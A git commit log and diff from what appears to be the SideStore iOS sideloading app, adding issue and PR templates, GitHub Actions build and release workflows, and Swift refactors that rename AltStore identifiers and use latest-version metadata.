cb990978ee add pokemmo into trusted sources. (#176) 2022-12-07 16:36:17 -08:00
Joshua Laymon
a103202c92 Merge pull request #171 from bogotesr/settings
Better anisette settings
2022-12-05 11:39:08 -07:00
bogotesr
9d7b133037 Add crystal's server 2022-12-04 15:43:08 -07:00
bogotesr
f727f2a1a9 describe what the toggle does 2022-12-03 21:19:31 -07:00
bogotesr
03034768d9 Better anisette settings
adds multivalue selector for some anisette servers
2022-12-03 13:48:33 -07:00
Joe Mattiello
aed3e20e08 Merge pull request #164 from SideStore/update-em-submodules 2022-12-01 20:02:04 -05:00
JJTech0130
74bac6d986 update em_proxy and minimuxer submodules 2022-11-30 18:17:01 -05:00
Fabian Thies
7ebecc353a Add missing App Permission Types (#159)
* Add missing app permission types

* Remove old unused icons for photos, background fetch and background audio permission types

* Add missing icons for contacts and reminders permission types

* Add missing camera permission icon and name

* Switch permission icons to filled versions for a more cohesive look
2022-11-29 06:30:51 -07:00
Jackson Coxson
f0302b0d1e Add an issue template (#157)
Update issue templates
2022-11-26 19:34:52 -07:00
Spidy123222
0b004ad089 Update app.json
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-11-22 21:54:37 -08:00
186 changed files with 6972 additions and 1514 deletions

2
.github/CODEOWNERS vendored
View File

@@ -1 +1 @@
* @JoeMatt @lonkelle @jkcoxson
* @JoeMatt @lonkelle

40
.github/ISSUE_TEMPLATE/bug_report.yml vendored Normal file
View File

@@ -0,0 +1,40 @@
name: Bug Report
description: Report a bug
title: "[BUG] "
labels: ["bug"]
assignees:
- naturecodevoid
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this bug report! Before you continue filling out the report, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the bug you are experiencing** in case it has already been reported.
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
- type: textarea
id: description
attributes:
label: Describe the bug
description: What is the bug and how did you discover it?
placeholder: Please be clear and concise with your description.
validations:
required: true
- type: textarea
id: how-to-reproduce
attributes:
label: Instructions to reproduce
description: Please include clear and consistent instructions for reproducing the bug to make it easier for us to fix it.
validations:
required: true
- type: input
id: app-version
attributes:
label: What version of SideStore are you using?
description: To retrieve this, go to `Settings` in the SideStore app and scroll down to the bottom.
validations:
required: true
- type: textarea
id: other-info
attributes:
label: Other info
description: If you have any other comments, other info that might be useful, or if you found a workaround, please put it here.

10
.github/ISSUE_TEMPLATE/config.yml vendored Normal file
View File

@@ -0,0 +1,10 @@
# force issue template usage
blank_issues_enabled: false
contact_links:
- name: Discord
url: https://discord.gg/RgpFBX3Q3k
about: If you need support, please go here first instead of making an issue!
- name: GitHub Discussions
url: https://github.com/SideStore/SideStore/discussions
about: As an alternative to Discord, you can also make a new GitHub discussion.

View File

@@ -0,0 +1,33 @@
name: Feature Request
description: Suggest a feature
title: "[FEATURE REQUEST] "
labels: ["enhancement"]
assignees:
- naturecodevoid
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this feature request! Before you continue filling out the form, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the feature you are suggestion** in case it has already been suggested.
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
- type: textarea
id: description
attributes:
label: Describe the feature
description: What is the feature? How would it work?
placeholder: Please be clear and concise with your description.
validations:
required: true
- type: textarea
id: use-cases
attributes:
label: Use cases
description: Please include multiple use cases where this feature would be useful.
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives
description: If you have alternative ideas of how this feature could work, you can put them here.

15
.github/pull_request_template.md vendored Normal file
View File

@@ -0,0 +1,15 @@
### Changes
<!-- Fill this list with what your PR changes. Example: -->
- Fix bug
- Change UI for QOL
<!-- If your PR is ready to be merged, you can remove this section. -->
### Todo before merge
<!-- Example: -->
- [x] Finish UI changes
- [ ] Test
<!-- If your PR doesn't close an issue, you can remove the next line. -->
Closes #1234

View File

@@ -0,0 +1,22 @@
name: Add artifact links to pull request and related issues
on:
workflow_run:
workflows: [Pull Request SideStore build]
types: [completed]
jobs:
artifacts-url-comments:
name: add artifact links to pull request and related issues job
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
- name: add artifact links to pull request and related issues step
uses: tonyhallett/artifacts-url-comments@v1.1.0
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
prefix: Builds for this Pull Request are available at
suffix: Have a nice day.
format: name
addTo: pull
# addTo: pullandissues

90
.github/workflows/beta.yml vendored Normal file
View File

@@ -0,0 +1,90 @@
name: Beta SideStore build
on:
push:
tags:
- '[0-9]+.[0-9]+.[0-9]+-beta.[0-9]+' # example: 1.0.0-beta.1
jobs:
build:
name: Build and upload SideStore Beta
strategy:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
submodules: recursive
- name: Install dependencies
run: brew install ldid
- name: Change version to tag
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: Build SideStore
run: make build | xcpretty && exit ${PIPESTATUS[0]}
- name: Fakesign app
run: make fakesign
- name: Convert to IPA
run: make ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore.ipa
path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Get current date
id: date
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
- name: Get current date in AltStore date form
id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to new beta release
uses: softprops/action-gh-release@v1
with:
token: ${{ secrets.GITHUB_TOKEN }}
name: ${{ steps.version.outputs.version }}
tag_name: ${{ github.ref_name }}
draft: true
prerelease: true
files: SideStore.ipa
body: |
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
## Changelog
- TODO
## Build Info
Built at (UTC): `${{ steps.date.outputs.date }}`
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}`

View File

@@ -1,100 +0,0 @@
name: Build and Upload SideStore
on:
push:
branches:
- master
- develop
pull_request:
jobs:
build:
name: Build and upload SideStore
strategy:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.0.0'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
submodules: recursive
- name: Cache rust cargo
id: cache-rust-cargo
uses: actions/cache@v3
env:
cache-name: cache-rust-cargo
with:
path: ~/.cargo
key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
restore-keys: |
${{ runner.os }}-build-${{ env.cache-name }}-
${{ runner.os }}-build-
${{ runner.os }}-
- name: Cache rust minimuxer
id: cache-rust-minimuxer
uses: actions/cache@v3
env:
cache-name: cache-rust-minimuxer
with:
path: ./Dependencies/minimuxer/target
key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
restore-keys: |
${{ runner.os }}-build-${{ env.cache-name }}-
${{ runner.os }}-build-
${{ runner.os }}-
- name: Cache rust em_proxy
id: cache-rust-em_proxy
uses: actions/cache@v3
env:
cache-name: cache-rust-em_proxy
with:
path: ./Dependencies/em_proxy/target
key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
restore-keys: |
${{ runner.os }}-build-${{ env.cache-name }}-
${{ runner.os }}-build-
${{ runner.os }}-
- name: Install dependencies
run: brew install ldid
- name: Install rustup
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
target: aarch64-apple-ios
- name: Create emotional damage
run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
- name: Build minimuxer
run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: Build SideStore
run: |
rm -rf ~/Library/Developer/Xcode/DerivedData/
rm ./AltStore.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved
xcodebuild -project AltStore.xcodeproj -scheme AltStore -sdk iphoneos archive -archivePath ./archive CODE_SIGNING_REQUIRED=NO AD_HOC_CODE_SIGNING_ALLOWED=YES CODE_SIGNING_ALLOWED=NO DEVELOPMENT_TEAM=XYZ0123456 ORG_IDENTIFIER=com.SideStore | xcpretty && exit ${PIPESTATUS[0]}
- name: Fakesign app
run: |
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
- name: Convert to IPA
run: |
mkdir Payload
mkdir Payload/SideStore.app
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
zip -r SideStore.ipa Payload
- name: Upload Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore.ipa
path: SideStore.ipa

View File

@@ -0,0 +1,28 @@
#!/usr/bin/env bash
# Ensure we are in root directory
cd "$(dirname "$0")/../.."
DATE=`date -u +'%Y.%m.%d'`
BUILD_NUM=1
write() {
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM/" -i '' Build.xcconfig
echo "$DATE,$BUILD_NUM" > .nightly-build-num
}
if [ ! -f ".nightly-build-num" ]; then
write
exit 0
fi
LAST_DATE=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $1'`
LAST_BUILD_NUM=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $2'`
if [[ "$DATE" != "$LAST_DATE" ]]; then
write
else
BUILD_NUM=`expr $LAST_BUILD_NUM + 1`
write
fi

100
.github/workflows/nightly.yml vendored Normal file
View File

@@ -0,0 +1,100 @@
name: Nightly SideStore build
on:
push:
branches:
- develop
jobs:
build:
name: Build and upload SideStore Nightly
concurrency:
group: ${{ github.ref }}
cancel-in-progress: true
strategy:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
submodules: recursive
- name: Install dependencies
run: brew install ldid
- name: Cache .nightly-build-num
uses: actions/cache@v3
with:
path: .nightly-build-num
key: nightly-build-num
- name: Increase nightly build number and set as version
run: bash .github/workflows/increase-nightly-build-num.sh
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: Build SideStore
run: make build | xcpretty && exit ${PIPESTATUS[0]}
- name: Fakesign app
run: make fakesign
- name: Convert to IPA
run: make ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore.ipa
path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Get current date
id: date
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
- name: Get current date in AltStore date form
id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to nightly release
uses: IsaacShelton/update-existing-release@v1.3.1
with:
token: ${{ secrets.GITHUB_TOKEN }}
release: "Nightly"
tag: "nightly"
prerelease: true
files: SideStore.ipa
body: |
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
Nightly builds are **extremely experimental builds only meant to be used by developers and alpha testers. They often contain bugs and experimental features. Use at your own risk!**
If you want to try out new features early but want a lower chance of bugs, you can look at [SideStore Beta](https://github.com/${{ github.repository }}/releases?q=beta).
## Build Info
Built at (UTC): `${{ steps.date.outputs.date }}`
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}`
- name: Reset cache for apps.sidestore.io/nightly
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}

52
.github/workflows/pr.yml vendored Normal file
View File

@@ -0,0 +1,52 @@
name: Pull Request SideStore build
on:
pull_request:
jobs:
build:
name: Build and upload SideStore
strategy:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
submodules: recursive
- name: Install dependencies
run: brew install ldid
- name: Add PR suffix to version
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: Build SideStore
run: make build | xcpretty && exit ${PIPESTATUS[0]}
- name: Fakesign app
run: make fakesign
- name: Convert to IPA
run: make ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore.ipa
path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/

87
.github/workflows/stable.yml vendored Normal file
View File

@@ -0,0 +1,87 @@
name: Stable SideStore build
on:
push:
tags:
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
jobs:
build:
name: Build and upload SideStore
strategy:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
submodules: recursive
- name: Install dependencies
run: brew install ldid
- name: Change version to tag
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: Build SideStore
run: make build | xcpretty && exit ${PIPESTATUS[0]}
- name: Fakesign app
run: make fakesign
- name: Convert to IPA
run: make ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore.ipa
path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Get current date
id: date
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
- name: Get current date in AltStore date form
id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to new stable release
uses: softprops/action-gh-release@v1
with:
token: ${{ secrets.GITHUB_TOKEN }}
name: ${{ steps.version.outputs.version }}
tag_name: ${{ github.ref_name }}
draft: true
files: SideStore.ipa
body: |
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
## Changelog
- TODO
## Build Info
Built at (UTC): `${{ steps.date.outputs.date }}`
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}`

12
.gitignore vendored
View File

@@ -33,4 +33,14 @@ xcuserdata
/.vscode
## AppCode specific
.idea/
.idea/
Payload/
SideStore.ipa
*.dSYM
Dependencies/.*-prebuilt-fetch-*
Dependencies/minimuxer/*
Dependencies/em_proxy/*
!Dependencies/**/.gitkeep
.nightly-build-num

9
.gitmodules vendored
View File

@@ -13,12 +13,9 @@
[submodule "Dependencies/MarkdownAttributedString"]
path = Dependencies/MarkdownAttributedString
url = https://github.com/chockenberry/MarkdownAttributedString.git
[submodule "Dependencies/em_proxy"]
path = Dependencies/em_proxy
url = https://github.com/jkcoxson/em_proxy
[submodule "Dependencies/libimobiledevice-glue"]
path = Dependencies/libimobiledevice-glue
url = https://github.com/libimobiledevice/libimobiledevice-glue
[submodule "Dependencies/minimuxer"]
path = Dependencies/minimuxer
url = https://github.com/jkcoxson/minimuxer
[submodule "Dependencies/libfragmentzip"]
path = Dependencies/libfragmentzip
url = https://github.com/SideStore/libfragmentzip.git

View File

@@ -5,7 +5,7 @@
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.rileytestut.AltStore</string>
<string>group.com.SideStore.SideStore</string>
</array>
<key>ALTBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>

View File

@@ -77,7 +77,7 @@ extension XPCConnectionHandler: NSXPCListenerDelegate
guard
let codeSigningInfo = signingInfo as? [String: Any],
let bundleIdentifier = codeSigningInfo["identifier"] as? String,
bundleIdentifier.contains("com.rileytestut.AltStore")
bundleIdentifier.contains(Bundle.Info.appbundleIdentifier)
else { return false }
let connection = XPCConnection(newConnection)

View File

@@ -1,3 +1,3 @@
#include "Build.xcconfig"
PRODUCT_BUNDLE_IDENTIFIER = $(ORG_PREFIX).$(PRODUCT_NAME)
PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER)

File diff suppressed because it is too large Load Diff

View File

@@ -63,6 +63,15 @@
"version" : "1.10.1"
}
},
{
"identity" : "semanticversion",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
"state" : {
"revision" : "fc670910dc0903cc269b3d0b776cda5703979c4e",
"version" : "0.3.5"
}
},
{
"identity" : "sparkle",
"kind" : "remoteSourceControl",

View File

@@ -0,0 +1,84 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1020"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app"
BlueprintName = "SideStore"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Release"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Release"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app"
BlueprintName = "SideStore"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
<CommandLineArguments>
<CommandLineArgument
argument = "-com.apple.CoreData.ConcurrencyDebug 1"
isEnabled = "YES">
</CommandLineArgument>
</CommandLineArguments>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app"
BlueprintName = "SideStore"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Release">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>

View File

@@ -5,4 +5,8 @@
#import "NSAttributedString+Markdown.h"
#import "ALTAppPatcher.h"
#import "grant_fda.h"
#import "vm_unalign_csr.h"
#import "helping_tools.h"
#include "fragmentzip.h"

View File

@@ -14,13 +14,7 @@ import AppCenter
import AppCenterAnalytics
import AppCenterCrashes
#if DEBUG
private let appCenterAppSecret = "bb08e9bb-c126-408d-bf3f-324c8473fd40"
#elseif RELEASE
private let appCenterAppSecret = "b6718932-294a-432b-81f2-be1e17ff85c5"
#else
private let appCenterAppSecret = "e873f6ca-75eb-4685-818f-801e0e375d60"
#endif
private let appCenterAppSecret = "73532d3e-e573-4693-99a4-9f85840bbb44"
extension AnalyticsManager
{
@@ -77,7 +71,7 @@ extension AnalyticsManager
}
}
class AnalyticsManager
final class AnalyticsManager
{
static let shared = AnalyticsManager()

View File

@@ -25,7 +25,7 @@ extension AppContentViewController
}
}
class AppContentViewController: UITableViewController
final class AppContentViewController: UITableViewController
{
var app: StoreApp!
@@ -80,10 +80,21 @@ class AppContentViewController: UITableViewController
self.subtitleLabel.text = self.app.subtitle
self.descriptionTextView.text = self.app.localizedDescription
self.versionDescriptionTextView.text = self.app.versionDescription
self.versionLabel.text = String(format: NSLocalizedString("Version %@", comment: ""), self.app.version)
self.versionDateLabel.text = Date().relativeDateString(since: self.app.versionDate, dateFormatter: self.dateFormatter)
self.sizeLabel.text = self.byteCountFormatter.string(fromByteCount: Int64(self.app.size))
if let version = self.app.latestVersion
{
self.versionDescriptionTextView.text = version.localizedDescription
self.versionLabel.text = String(format: NSLocalizedString("Version %@", comment: ""), version.version)
self.versionDateLabel.text = Date().relativeDateString(since: version.date, dateFormatter: self.dateFormatter)
self.sizeLabel.text = self.byteCountFormatter.string(fromByteCount: version.size)
}
else
{
self.versionDescriptionTextView.text = nil
self.versionLabel.text = nil
self.versionDateLabel.text = nil
self.sizeLabel.text = self.byteCountFormatter.string(fromByteCount: 0)
}
self.descriptionTextView.maximumNumberOfLines = 5
self.descriptionTextView.moreButton.addTarget(self, action: #selector(AppContentViewController.toggleCollapsingSection(_:)), for: .primaryActionTriggered)
@@ -173,7 +184,8 @@ private extension AppContentViewController
dataSource.cellConfigurationHandler = { (cell, permission, indexPath) in
let cell = cell as! PermissionCollectionViewCell
cell.button.setImage(permission.type.icon, for: .normal)
cell.textLabel.text = permission.type.localizedShortName
cell.button.tintColor = .label
cell.textLabel.text = permission.type.localizedShortName ?? permission.type.localizedName
}
return dataSource

View File

@@ -8,7 +8,7 @@
import UIKit
class PermissionCollectionViewCell: UICollectionViewCell
final class PermissionCollectionViewCell: UICollectionViewCell
{
@IBOutlet var button: UIButton!
@IBOutlet var textLabel: UILabel!
@@ -29,7 +29,7 @@ class PermissionCollectionViewCell: UICollectionViewCell
}
}
class AppContentTableViewCell: UITableViewCell
final class AppContentTableViewCell: UITableViewCell
{
override func systemLayoutSizeFitting(_ targetSize: CGSize, withHorizontalFittingPriority horizontalFittingPriority: UILayoutPriority, verticalFittingPriority: UILayoutPriority) -> CGSize
{

View File

@@ -13,7 +13,7 @@ import Roxas
import Nuke
class AppViewController: UIViewController
final class AppViewController: UIViewController
{
var app: StoreApp!
@@ -352,7 +352,7 @@ class AppViewController: UIViewController
extension AppViewController
{
class func makeAppViewController(app: StoreApp) -> AppViewController
final class func makeAppViewController(app: StoreApp) -> AppViewController
{
let storyboard = UIStoryboard(name: "Main", bundle: nil)
@@ -384,10 +384,10 @@ private extension AppViewController
button.progress = progress
}
if Date() < self.app.versionDate
if let versionDate = self.app.latestVersion?.date, versionDate > Date()
{
self.bannerView.button.countdownDate = self.app.versionDate
self.navigationBarDownloadButton.countdownDate = self.app.versionDate
self.bannerView.button.countdownDate = versionDate
self.navigationBarDownloadButton.countdownDate = versionDate
}
else
{

View File

@@ -10,7 +10,7 @@ import UIKit
import AltStoreCore
class PermissionPopoverViewController: UIViewController
final class PermissionPopoverViewController: UIViewController
{
var permission: AppPermission!

View File

@@ -11,7 +11,7 @@ import UIKit
import AltStoreCore
import Roxas
class AppIDsViewController: UICollectionViewController
final class AppIDsViewController: UICollectionViewController
{
private lazy var dataSource = self.makeDataSource()

View File

@@ -18,49 +18,49 @@ import EmotionalDamage
extension AppDelegate
{
static let openPatreonSettingsDeepLinkNotification = Notification.Name("com.rileytestut.AltStore.OpenPatreonSettingsDeepLinkNotification")
static let importAppDeepLinkNotification = Notification.Name("com.rileytestut.AltStore.ImportAppDeepLinkNotification")
static let addSourceDeepLinkNotification = Notification.Name("com.rileytestut.AltStore.AddSourceDeepLinkNotification")
static let appBackupDidFinish = Notification.Name("com.rileytestut.AltStore.AppBackupDidFinish")
static let openPatreonSettingsDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".OpenPatreonSettingsDeepLinkNotification")
static let importAppDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".ImportAppDeepLinkNotification")
static let addSourceDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".AddSourceDeepLinkNotification")
static let appBackupDidFinish = Notification.Name(Bundle.Info.appbundleIdentifier + ".AppBackupDidFinish")
static let importAppDeepLinkURLKey = "fileURL"
static let appBackupResultKey = "result"
static let addSourceDeepLinkURLKey = "sourceURL"
}
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
final class AppDelegate: UIResponder, UIApplicationDelegate {
var window: UIWindow?
@available(iOS 14, *)
private var intentHandler: IntentHandler {
get { _intentHandler as! IntentHandler }
set { _intentHandler = newValue }
}
@available(iOS 14, *)
private var viewAppIntentHandler: ViewAppIntentHandler {
get { _viewAppIntentHandler as! ViewAppIntentHandler }
set { _viewAppIntentHandler = newValue }
}
private lazy var _intentHandler: Any = {
guard #available(iOS 14, *) else { fatalError() }
return IntentHandler()
}()
private lazy var _viewAppIntentHandler: Any = {
guard #available(iOS 14, *) else { fatalError() }
return ViewAppIntentHandler()
}()
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
{
// Register default settings before doing anything else.
UserDefaults.registerDefaults()
DatabaseManager.shared.start { (error) in
if let error = error
{
@@ -71,50 +71,62 @@ class AppDelegate: UIResponder, UIApplicationDelegate {
print("Started DatabaseManager.")
}
}
AnalyticsManager.shared.start()
self.setTintColor()
SecureValueTransformer.register()
SecureValueTransformer.register()
if UserDefaults.standard.firstLaunch == nil
{
Keychain.shared.reset()
UserDefaults.standard.firstLaunch = Date()
}
UserDefaults.standard.preferredServerID = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.serverID) as? String
#if DEBUG || BETA
UserDefaults.standard.isDebugModeEnabled = true
#endif
self.prepareForBackgroundFetch()
return true
}
func applicationDidEnterBackground(_ application: UIApplication)
{
{
// Make sure to update SceneDelegate.sceneDidEnterBackground() as well.
guard let oneMonthAgo = Calendar.current.date(byAdding: .month, value: -1, to: Date()) else { return }
let midnightOneMonthAgo = Calendar.current.startOfDay(for: oneMonthAgo)
DatabaseManager.shared.purgeLoggedErrors(before: midnightOneMonthAgo) { result in
switch result
{
case .success: break
case .failure(let error): print("[ALTLog] Failed to purge logged errors before \(midnightOneMonthAgo).", error)
}
}
}
}
func applicationWillEnterForeground(_ application: UIApplication)
{
AppManager.shared.update()
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
}
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any]) -> Bool
{
return self.open(url)
}
func application(_ application: UIApplication, handlerFor intent: INIntent) -> Any?
{
guard #available(iOS 14, *) else { return nil }
switch intent
{
case is RefreshAllIntent: return self.intentHandler
@@ -133,7 +145,7 @@ extension AppDelegate
// Use this method to select a configuration to create the new scene with.
return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role)
}
func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set<UISceneSession>)
{
// Called when the user discards a scene session.
@@ -148,36 +160,36 @@ private extension AppDelegate
{
self.window?.tintColor = .altPrimary
}
func open(_ url: URL) -> Bool
{
if url.isFileURL
{
guard url.pathExtension.lowercased() == "ipa" else { return false }
DispatchQueue.main.async {
NotificationCenter.default.post(name: AppDelegate.importAppDeepLinkNotification, object: nil, userInfo: [AppDelegate.importAppDeepLinkURLKey: url])
}
return true
}
else
{
guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else { return false }
guard let host = components.host?.lowercased() else { return false }
switch host
{
case "patreon":
DispatchQueue.main.async {
NotificationCenter.default.post(name: AppDelegate.openPatreonSettingsDeepLinkNotification, object: nil)
}
return true
case "appbackupresponse":
let result: Result<Void, Error>
